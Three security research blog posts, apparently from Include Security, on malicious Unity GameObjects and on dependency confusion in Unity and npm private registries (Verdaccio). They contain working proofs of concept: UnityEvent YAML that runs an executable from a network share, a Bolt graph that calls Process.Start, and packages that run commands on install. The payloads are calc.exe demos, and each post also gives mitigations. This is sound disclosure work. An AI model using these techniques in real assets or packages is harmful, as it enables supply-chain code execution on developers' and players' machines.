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Before yesterdayInclude Security Research Blog

Hacking Unity Games with Malicious GameObjects

At IncludeSec our clients are asking us to hack on all sorts of crazy applications from mass scale web systems to IoT devices and low-level firmware. Something that we’re seeing more of is hacking virtual reality systems and mass scale video games so we had a chance to do some research and came up with what we believe to be a novel attack against Unity-powered games!

Specifically, this post will outline:

  • Two ways I found that GameObjects (a non-code asset type) can be crafted to cause arbitrary code to run.
  • Five possible ways an attacker might use a malicious GameObject to compromise a Unity game.
  • How game developers can mitigate the risk.

Unity has also published their own blog post on this subject. Be sure to check that out for their specific recommendations and how to protect against this sort of vulnerability.

Terminology

First a brief primer on the terms I’m going to use for those less familiar with Unity.

  • GameObjects are entities in Unity that can have any number of components attached.
  • Components are added to GameObjects to make them do things. They include Unity built-in components, like UI elements and sprite renderers, as well as custom scripted components used to build the game logic.
  • Assets are the elements that make up the game. This includes images, sounds, scripts, and GameObjects, among other things.
  • AssetBundles are a way to package non-code assets and allow them to be loaded at runtime (from the web or locally). They are used to decrease initial download size, allow downloadable content, as well as sometimes to enable modding of the game.

Ways a malicious GameObject could get into a game

Before going into details about how a GameObject could execute code, let’s talk about how it would get in the game in the first place so that we’re clear on the attack scenarios. I came up with five ways a malicious GameObject might find its way into a Unity game:

Way 1: the most obvious route is if the game developer downloaded it and added it to the game project. This might be an asset they purchased on the Unity Asset Store, or something they found on GitHub that solved a problem they were having.

Way 2: Unity AssetBundles allow non-script assets (including GameObjects) to be imported into a game at runtime. There may be an assumption that these assets are safe, since they contain no custom script assets, but as you’ll see further into the post that is not a safe assumption. For example, sometimes AssetBundles are used to add modding functionality to a game. If that’s the case, then third-party mods downloaded by a user can unexpectedly cause code execution, similar to running untrusted programs from the internet.

Way 3: AssetBundles can be downloaded from the internet at runtime without transport encryption enabling man-in-the-middle attacks. The Unity documentation has an example of how to do this, partially listed below:

UnityWebRequest uwr = UnityWebRequestAssetBundle.GetAssetBundle("http://www.my-server.com/mybundle")

In the Unity-provided example, the AssetBundle is being downloaded over HTTP. If an AssetBundle is downloaded over HTTP (which lacks the encryption and certificate validation of HTTPS), an attacker with a man-in-the-middle position of whoever is running the game could tamper with the AssetBundle in transit and replace it with a malicious one. This could, for example, affect players who are playing on an untrusted network such as a public WiFi access point.

Way 4: AssetBundles can be downloaded from the internet at runtime with transport encryption but man-in-the-middle attacks might still be possible.

Unity has this to say about certificate validation when using UnityWebRequests:

Some platforms will validate certificates against a root certificate authority store. Other platforms will simply bypass certificate validation completely.

According to the docs, even if you use HTTPS, on certain platforms Unity won’t check certificates to verify it’s communicating with the intended server, opening the door for possible AssetBundle tampering. It’s possible to create your own certificate handler, but only on specific platforms:

Note: Custom certificate validation is currently only implemented for the following platforms – Android, iOS, tvOS and desktop platforms.

I could not find information about which platforms “bypass certificate validation completely”, but I’m guessing it’s the less-common ones? Still, if you’re developing a game that downloads AssetBundles, you might want to verify that certificate validation is working on the platforms you use.

Way 5: Malicious insider. A contributor on a development team or open source project wants to add some bad code to a game. But maybe the dev team has code reviews to prevent this sort of thing. Likely, those code reviews don’t extend to the GameObjects themselves, so the attacker smuggles their code into a GameObject that gets deployed with the game.

Crafting malicious GameObjects

I think it’s pretty obvious why you wouldn’t want arbitrary code running in your game — it might compromise players’ computers, steal their data, crash the game, etc. If the malicious code runs on a development machine, the attacker could potentially steal the source code or pivot to attack the studio’s internal network. Peter Clemenko had another interesting perspective on his blog: essentially, in the near-future augmented-reality cyberpunk ready-player-1 upcoming world an attacker may seek to inject things into a user’s reality to confuse, distract, annoy, and that might cause real-world harm.

So, how can non-script assets get code execution?

Method 1: UnityEvents

Unity has an event system that allows hooking up delegates in code that will be called when an event is triggered. You can use them in your custom scripts for game-specific events, and they are also used on Unity’s built-in UI components (such as Buttons) for event handlers (like onClick) . Additionally, you can add ones to objects such as PointerClick, PointerEnter, Scroll, etc. using an EventTrigger component

One-parameter UnityEvents can be exposed in the inspector by components. In normal usage, setting up a UnityEvent looks like this in the Unity inspector:

First you have to assign a GameObject to receive the event callback (in this case, “Main Camera”). Then you can look through methods and properties on any components attached to that GameObject, and select a handler method.

Many assets in Unity, including scenes and GameObject prefabs, are serialized as YAML files that store the various properties of the object. Opening up the object containing the above event trigger, the YAML looks like this:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 1978173272}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: 11500000, guid: d0b148fe25e99eb48b9724523833bab1, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  m_Delegates:
  - eventID: 4
    callback:
      m_PersistentCalls:
        m_Calls:
        - m_Target: {fileID: 963194228}
          m_TargetAssemblyTypeName: UnityEngine.Component, UnityEngine
          m_MethodName: SendMessage
          m_Mode: 5
          m_Arguments:
            m_ObjectArgument: {fileID: 0}
            m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
            m_IntArgument: 0
            m_FloatArgument: 0
            m_StringArgument: asdf
            m_BoolArgument: 0
          m_CallState: 2

The most important part is under m_Delegates — that’s what controls which methods are invoked when the event is triggered. I did some digging in the Unity C# source repo along with some experimenting to figure out what some of these properties are. First, to summarize my findings: UnityEvents can call any method that has a return type void and takes zero or one argument of a supported type. This includes private methods, setters, and static methods. Although the UI restricts you to invoking methods available on a specific GameObject, editing the object’s YAML does not have that restriction — they can call any method in a loaded assembly . You can skip to exploitation below if you don’t need more details of how this works.

Technical details

UnityEvents technically support delegate functions with anywhere from zero to four parameters, but unfortunately Unity does not use any UnityEvents with greater than one parameter for its built-in components (and I found no way to encode more parameters into the YAML). We are therefore limited to one-parameter functions for our attack.

The important fields in the above YAML are:

  • eventID — This is specific to EventTriggers (rather than UI components.) It specifies the type of event, PointerClick, PointerHover, etc. PointerClick is “4”.
  • m_TargetAssemblyTypeName — this is the fully qualified .NET type name that the event handler function will be called on. Essentially this takes the form: namespace.typename, assemblyname. It can be anything in one of the assemblies loaded by Unity, including all Unity engine stuff as well as a lot of .NET stuff.
  • m_callstate — Determines when the event triggers — only during a game, or also while using the Unity Editor:
    • 0 – UnityEventCallState.Off
    • 1 – UnityEventCallState.EditorAndRuntime
    • 2 – UnityEventCallState.RuntimeOnly
  • m_mode — Determines the argument type of the called function.
    • 0 – EventDefined
    • 1 – Void,
    • 2 – Object,
    • 3 – Int,
    • 4 – Float,
    • 5 – String,
    • 6 – Bool
  • m_target — Specify the Unity object instance that the method will be called on. Specifying m_target: {fileId: 0} allows static methods to be called.

Unity uses C# reflection to obtain the method to call based on the above. The code ultimately used to obtain the method is shown below:

objectType.GetMethod(functionName, BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static, null, argumentTypes, null);

With the binding flags provided, it’s possible to specify private or public methods, static or instance methods. When calling the function, a delegate is created with type UnityAction that has a return type of void — therefore, the specified function must have a void return type.

Exploitation

My goal after discovering the above was to find some method available in the default loaded assemblies fitting the correct form (static, return void, exactly 1 parameter) which would let me do Bad Things™. Ideally, I wanted to get arbitrary code execution, but other things could be interesting too. If I could hook up an event handler to something dangerous, we would have a malicious GameObject.

I was quickly able to get arbitrary code execution on Windows machines by invoking Application.OpenURL() with a UNC path pointing to a malicious executable on a network share. The attacker would host a malicious exe file, and wait for the game client to trigger the event. OpenURL will then download and execute the payload. 

Below is the event definition I used  in the object YAML:

- m_Target: {fileID: 0}
  m_TargetAssemblyTypeName: UnityEngine.Application, UnityEngine
  m_MethodName: OpenURL
  m_Mode: 5
  m_Arguments:
    m_ObjectArgument: {fileID: 0}
    m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
    m_IntArgument: 0
    m_FloatArgument: 0
    m_StringArgument: file://JASON-INCLUDESE/shared/calc.exe
    m_BoolArgument: 0
  m_CallState: 2

It sets an OnPointerClick handler on an object with a large bounding box (to ensure it gets triggered). When the victim user clicks, it retrieves calc.exe from a network share and executes it. In a hypothetical attack the exe file would likely be on the internet, but I hosted on my local network. Here’s a gif of what happens when you click the object:

This got arbitrary code execution on Windows from a malicious GameObject either in an AssetBundle or included in the project. However, the network drive method won’t work on non-Windows platforms unless they’ve specifically mounted a share, since they don’t automatically open UNC paths. What about those platforms?

Another interesting function is EditorUtility.OpenWithDefaultApp(). It takes a string path to a file, and opens it up with the system’s default app for this file type. One useful part is that it takes relative paths in the project. An attacker who can get malicious executables into your project can call this function with the relative path to their executable to get them to run.

For example, on macOS I compiled the following C program which writes “hello there” to /tmp/hello:

#include <stdio.h>;
int main() {
  FILE* fp = fopen("/tmp/hello");
  fprintf(fp, "hello there");
  fclose(fp);
  return 0;
}

I included the compiled binary in my Assets folder as “hello” (no extension — this is important!) Then I set up the following onClick event on a button:

m_OnClick:
  m_PersistentCalls:
    m_Calls:
    - m_Target: {fileID: 0}
      m_TargetAssemblyTypeName: UnityEditor.EditorUtility, UnityEditor
      m_MethodName: OpenWithDefaultApp
      m_Mode: 5
      m_Arguments:
        m_ObjectArgument: {fileID: 0}
        m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
        m_IntArgument: 0
        m_FloatArgument: 0
        m_StringArgument: Assets/hello
        m_BoolArgument: 0
      m_CallState: 2

It now executes the executable when you click the button:

This doesn’t work for AssetBundles though, because the unpacked contents of AssetBundles aren’t written to disk. Although the above might be an exploitation path in some scenarios, my main goal was to get code execution from AssetBundles, so I kept looking for methods that might let me do that on Mac (on Windows, it’s possible with OpenURL(), as previously shown). I used the following regex in SublimeText to search over the UnityCsReference repository for any matching functions that a UnityEvent could call: static( extern|) void [A-Za-z\w_]*\((string|int|bool|float) [A-Za-z\w_]*\)

After pouring over the 426 discovered methods, I fell a short of getting completely arbitrary code exec from AssetBundles on non-Windows platforms — although I still think it’s probably possible. I did find a bunch of other ways such a GameObject could do Bad Things™. This is just a small sampling:

Unity.CodeEditor.CodeEditor.SetExternalScriptEditor() Can change a user’s default code editor to arbitrary values. Setting it to a malicious UNC executable can achieve code execution whenever they trigger Unity to open a code editor, similar to the OpenURL exploitation path.
PlayerPrefs.DeleteAll() Delete all save games and other stored data.
UnityEditor.FileUtil.UnityDirectoryDelete() Invokes Directory.Delete() on the specified directory.
UnityEngine.ScreenCapture.CaptureScreenshot() Takes a screenshot of the game window to a specified file. Will automatically overwrite the specified file. Can be written to UNC paths in Windows.
UnityEditor.PlayerSettings.SetAdditionalIl2CppArgs() Add flags to be passed to the Il2Cpp compiler.
UnityEditor.BuildPlayerWindow.BuildPlayerAndRun() Trigger the game to build. In my testing I couldn’t get this to work, but combined with the Il2Cpp flag function above it could be interesting.
Application.Quit(), EditorApplication.Exit() Quit out of the game/editor.

Method 2: Visual scripting systems

There are various visual scripting systems for Unity that let you create logic without code. If you have imported one of these into your project, any third-party GameObject you import can use the visual scripting system. Some of the systems are more powerful or less powerful. I will focus on Bolt as an example since it’s pretty popular, Unity acquired it, and it’s now free. 

This attack vector was proposed on Peter Clemenko’s blog I mentioned earlier, but it focused on malicious entity injection — I think it should be clarified that, using Bolt, it’s possible for imported GameObjects to achieve arbitrary code execution as well, including shell command execution.

With the default settings, Bolt does not show many of the methods available to you in the loaded assemblies in its UI. Once again, though, you have more options if you edit the YAML than you do in the UI. For example, if you make a simple Bolt flow graph like the following:

The YAML looks like:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 2032548220}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: -57143145, guid: a040fb66244a7f54289914d98ea4ef7d, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  _data:
    _json: '{"nest":{"source":"Embed","macro":null,"embed":{"variables":{"collection":{"$content":[],"$version":"A"},"$version":"A"},"controlInputDefinitions":[],"controlOutputDefinitions":[],"valueInputDefinitions":[],"valueOutputDefinitions":[],"title":null,"summary":null,"pan":{"x":117.0,"y":-103.0},"zoom":1.0,"elements":[{"coroutine":false,"defaultValues":{},"position":{"x":-204.0,"y":-144.0},"guid":"a4dcd43b-833d-49f5-8642-b6c311cf324f","$version":"A","$type":"Bolt.Start","$id":"10"},{"chainable":false,"member":{"name":"OpenURL","parameterTypes":["System.String"],"targetType":"UnityEngine.Application","targetTypeName":"UnityEngine.Application","$version":"A"},"defaultValues":{"%url":{"$content":"https://includesecurity.com","$type":"System.String"}},"position":{"x":-59.0,"y":-145.0},"guid":"395d9bac-f1da-4173-9e4b-b19d156c9a0b","$version":"A","$type":"Bolt.InvokeMember","$id":"12"},{"sourceUnit":{"$ref":"10"},"sourceKey":"trigger","destinationUnit":{"$ref":"12"},"destinationKey":"enter","guid":"d9cae7fd-e05b-48c6-b16d-5f04b0c722a6","$type":"Bolt.ControlConnection"}],"$version":"A"}}}'
    _objectReferences: []

The _json field seems to be where the meat is. Un-minifying it and focusing on the important parts:

[...]
  "member": {
    "name": "OpenURL",
    "parameterTypes": [
        "System.String"
    ],
    "targetType": "UnityEngine.Application",
    "targetTypeName": "UnityEngine.Application",
    "$version": "A"
  },
  "defaultValues": {
    "%url": {
        "$content": "https://includesecurity.com",
        "$type": "System.String"
    }
  },
[...]

It can be changed from here to a version that runs arbitrary shell commands using System.Diagnostics.Process.Start:

[...]
{
  "chainable": false,
  "member": {
    "name": "Start",
    "parameterTypes": [
        "System.String",
        "System.String"
    ],
    "targetType": "System.Diagnostics.Process",
    "targetTypeName": "System.Diagnostics.Process",
    "$version": "A"
  },
  "defaultValues": {
    "%fileName": {
        "$content": "cmd.exe",
        "$type": "System.String"
    },
    "%arguments": {
         "$content": "/c calc.exe",
         "$type": "System.String"
    }
  },
[...]

This is what that looks like now in Unity:

A malicious GameObject imported into a project that uses Bolt can do anything it wants.

How to prevent this

Third-party assets

It’s unavoidable for many dev teams to use third-party assets in their game, be it from the asset store or an outsourced art team. Still, the dev team can spend some time scrutinizing these assets before inclusion in their game — first evaluating the asset creator’s trustworthiness before importing it into their project, then reviewing it (more or less carefully depending on how much you trust the creator). 

AssetBundles

When downloading AssetBundles, make sure they are hosted securely with HTTPS. You should also double check that Unity validates HTTPS certificates on all platforms your game runs — do this by setting up a server with a self-signed certificate and trying to download an AssetBundle from it over HTTPS. On the Windows editor, where certificate validation is verified as working, doing this creates an error like the following and sets the UnityWebRequest.isNetworkError property to true:

If the download works with no error, then an attacker could insert their own HTTPS server in between the client and server, and inject a malicious AssetBundle. 

If Unity does not validate certificates on your platform and you are not on one of the platforms that allows for custom certificate checking, you probably have to implement your own solution — likely integrating a different HTTP client that does check certificates and/or signing the AssetBundles in some way.

When possible, don’t download AssetBundles from third-parties. This is impossible, though, if you rely on AssetBundles for modding functionality. In that case, you might try to sanitize objects you receive. I know that Bolt scripts are dangerous, as well as anything containing a UnityEvent (I’m aware of EventTriggers and various UI elements). The following code strips these dangerous components recursively from a downloaded GameObject asset before instantiating:

private static void SanitizePrefab(GameObject prefab)
{
    System.Type[] badComponents = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(Bolt.FlowMachine),
        typeof(Bolt.StateMachine),
        typeof(UnityEngine.EventSystems.UIBehaviour)
    };

    foreach (var componentType in badComponents) {
        foreach (var component in prefab.GetComponentsInChildren(componentType, true)) {
            DestroyImmediate(component, true);
        }
    }
}

public static Object SafeInstantiate(GameObject prefab)
{
    SanitizePrefab(prefab);
    return Instantiate(prefab);
}

public void Load()
{
    AssetBundle ab = AssetBundle.LoadFromFile(Path.Combine(Application.streamingAssetsPath, "evilassets"));

    GameObject evilGO = ab.LoadAsset<GameObject>("EvilGameObject");
    GameObject evilBolt = ab.LoadAsset<GameObject>("EvilBoltObject");
    GameObject evilUI = ab.LoadAsset<GameObject>("EvilUI");

    SafeInstantiate(evilGO);
    SafeInstantiate(evilBolt);
    SafeInstantiate(evilUI);

    ab.Unload(false);
}

Note that we haven’t done a full audit of Unity and we pretty much expect that there are other tricks with UnityEvents, or other ways for a GameObject to get code execution. But the code above at least protects against all of the attacks outlined in this blog.

If it’s essential to allow any of these things (such as Bolt scripts) to be imported into your game from AssetBundles, it gets trickier. Most likely the developer will want to create a white list of methods Bolt is allowed to call, and then attempt to remove any methods not on the whitelist before instantiating dynamically loaded GameObjects containing Bolt scripts. The whitelist could be something like “only allow methods in the MyCompanyName.ModStuff namespace.”  Allowing all of the UnityEngine namespace would not be good enough because of things like Application.OpenURL, but you could wrap anything you need in another namespace. Using a blacklist to specifically reject bad methods is not recommended, the surface area is just too large and it’s likely something important will be missed, though a combination of white list and black list may be possible with high confidence.

In general game developers need to decide how much protection they want to add at the app layer vs. putting the risk decision in the hands of a game end-user’s own judgement on what mods to run, just like it’s on them what executables they download. That’s fair, but it might be a good idea to at least give the gamers a heads up that this could be dangerous via documentation and notifications in the UI layer. They may not expect that mods could do any harm to their computer, and might be more careful once they know.

As mentioned above, if you’d like to read more about Unity’s fix for this and their recommendations, be sure to check out their blog post!

The post Hacking Unity Games with Malicious GameObjects appeared first on Include Security Research Blog.

Dependency Confusion Vulnerabilities in Unity Game Development

The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?

First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.

Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:

Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.

Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry? Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!

Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.

Creating a normal private package

First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files

includesec.jpeg
includesec.jpeg.meta
package.json

includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "IncludeSec logo",
  "version": "1.0.0",
  "unity": "2018.3",
  "description": "IncludeSec logo",
  "keywords": [ ],
  "dependencies": {}
}

I published it to my local Verdaccio registry like this:

NormalPackage$ npm publish --registry http://127.0.0.1:4873
npm notice
npm notice 📦  [email protected]
npm notice === Tarball Contents ===
npm notice 20.5kB includesec.jpeg
npm notice 212B   package.json
npm notice 2.1kB  includesec.jpeg.meta
npm notice === Tarball Details ===
npm notice name:          com.includesecurity.unitypackage
npm notice version:       1.0.0
npm notice package size:  19.8 kB
npm notice unpacked size: 22.8 kB
npm notice shasum:        db99c51277d43ac30c6e5bbf166a6ef16815cf70
npm notice integrity:     sha512-OeNVhBgi5UxEU[...]sm+TlgkitJUDQ==
npm notice total files:   3
npm notice
+ [email protected]

Installing in Unity

The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:

{
    "scopedRegistries": [{
        "name": "My internal registry",
        "url": "http://127.0.0.1:4873",
        "scopes": [
          "com.includesecurity"
        ]
    }],
      "dependencies": {
          ...
      }
}

The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:

Creating a malicious package

The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:

com.includesecurity.unitypackage.asmdef
com.includesecurity.unitypackage.asmdef.meta
Editor/
Editor/com.includesecurity.unitypackage.editor.asmref
Editor/com.includesecurity.unitypackage.editor.asmref.meta
Editor/MaliciousPackage.cs
Editor/MaliciousPackage.cs.meta
Editor.meta
package.json
package.json.meta

Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:

using UnityEngine;
using UnityEditor;

[InitializeOnLoad]
public class MaliciousPackage {
    static MaliciousPackage()
    {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
    }
}

I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.

Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "Testing",
  "version": "2.0.1",
  "unity": "2018.3",
  "description": "For testing purposes -- do not use",
  "keywords": [ ],
  "dependencies": {}
}

Results

I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:

Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?

It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).

Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.

Mitigation

How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:

  1. Not pull from the public NPM registry at all, or…
  2. If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry

The post Dependency Confusion Vulnerabilities in Unity Game Development appeared first on Include Security Research Blog.

Dependency Confusion: When Are Your npm Packages Vulnerable?

This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.

We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.

Here’s a quick summary for those that want to skip the technical details:

  • Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
  • As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
  • To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
  • If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
 [!] includesec-dependency-confusion

Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.

Dependency Confusion in npm

In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package. 

npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack? 

The answer is: npm itself isn’t, but a private package registry server might be!

Case Study: Verdaccio

Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it. 

To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:

{
    "name": "includesec-dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Below is the package.json file for a basic application that depends on the vulnerable package:

{
    "name": "vuln-app",
    "version": "1.0.0",
    "description": "A small app to demonstrate dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT",
    "dependencies": {
      "express": "^4.17.1",
      "includesec-dependency-confusion": "^1.0.0"
    }
  }

The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.

Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare

{"error":"Not found"}

This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:

{
    "name": "includesec-dependency-confusion",
    "version": "1.1.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "preinstall": "c:\\windows\\system32\\calc.exe"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close

…

  "time":{
     "created":"2021-02-16T14:50:23.935Z",
     "1.1.0":"2021-02-16T14:50:24.067Z",
     "modified":"2021-02-16T14:50:27.035Z"
  },
  "maintainers":[
     {
        "name":"njf-include",
        "email":"[email protected]"
     }
  ],
  "description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
  "author":{
     "name":"Nick Fox"
  },
  "license":"MIT",
  "readme":"ERROR: No README data found!",
  "readmeFilename":""
}

The following screenshot shows the malicious payload being executed on the client:

As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:

https://github.com/verdaccio/verdaccio/blob/master/conf/default.yaml#L62

packages:

    ...
    
      '**':
        # allow all users (including non-authenticated users) to read and
        # publish all packages
        #
        # you can specify usernames/groupnames (depending on your auth plugin)
        # and three keywords: "$all", "$anonymous", "$authenticated"
        access: $all
    
        # allow all known users to publish/publish packages
        # (anyone can register by default, remember?)
        publish: $authenticated
        unpublish: $authenticated
    
        # if package is not available locally, proxy requests to 'npmjs' registry
        proxy: npmjs

The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).

Mitigation on Verdaccio

So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:

https://verdaccio.org/docs/en/packages#blocking-proxying-a-set-of-specific-packages

packages:
    'jquery':
      access: $all
      publish: $all
    'my-company-*':
      access: $all
      publish: $authenticated
    '@my-local-scope/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:

packages:
    'includesec-dependency-confusion':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
  
  ...
  
    '**':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
      proxy: npmjs

